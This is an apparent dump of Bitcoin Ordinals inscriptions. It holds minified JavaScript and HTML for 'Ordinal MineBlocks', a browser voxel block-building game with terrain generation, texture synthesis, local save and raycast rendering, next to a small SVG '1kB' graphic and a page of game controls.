 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
